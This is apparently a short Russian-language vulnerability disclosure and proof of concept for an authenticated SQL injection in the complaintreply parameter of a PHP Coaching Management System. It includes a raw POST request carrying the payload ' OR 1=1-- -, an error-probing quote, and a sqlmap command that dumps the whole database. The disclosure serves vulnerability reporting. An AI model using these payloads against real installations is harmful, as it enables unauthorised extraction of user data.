xmyronn/cve-2026-7229-sqliДоказательство концепции аутентифицированной SQL-инъекции в Coaching Management System, демонстрирующее дамп базы данных через несанитизированный параметр complaintreply.
В Coaching Management System на PHP существует уязвимость SQL-инъекции. Параметр complaintreply в функциональности ответа администратора не проходит должную санитизацию перед использованием в SQL-запросах. Аутентифицированный злоумышленник (администратор) может внедрить вредоносные SQL-запросы, что приведёт к полному извлечению базы данных.
/cims/modules/admin/reply.phpcomplaintreplycode-projects.org
Coaching Management System на PHP https://code-projects.org/coaching-management-system-in-php-with-source-code/
Неизвестна (протестировано на последней доступной версии по состоянию на апрель 2026 года)
Студент отправляет жалобу 
Администратор открывает жалобу и получает доступ к функции ответа
POST /cims/modules/admin/reply.php?complaintid=18 HTTP/1.1 Host: 192.168.0.9 Content-Type: application/x-www-form-urlencoded
complaintreply=' OR 1=1-- -&submit=submit
Перехват запроса через Burp Suite 
Внедрение полезной нагрузки:
'
Наблюдается SQL-ошибка
7. Подтверждение инъекции:
' OR 1=1-- -
Выгрузка базы данных с помощью:
sqlmap -r sqli.txt --dump
Серьёзность: КРИТИЧЕСКАЯ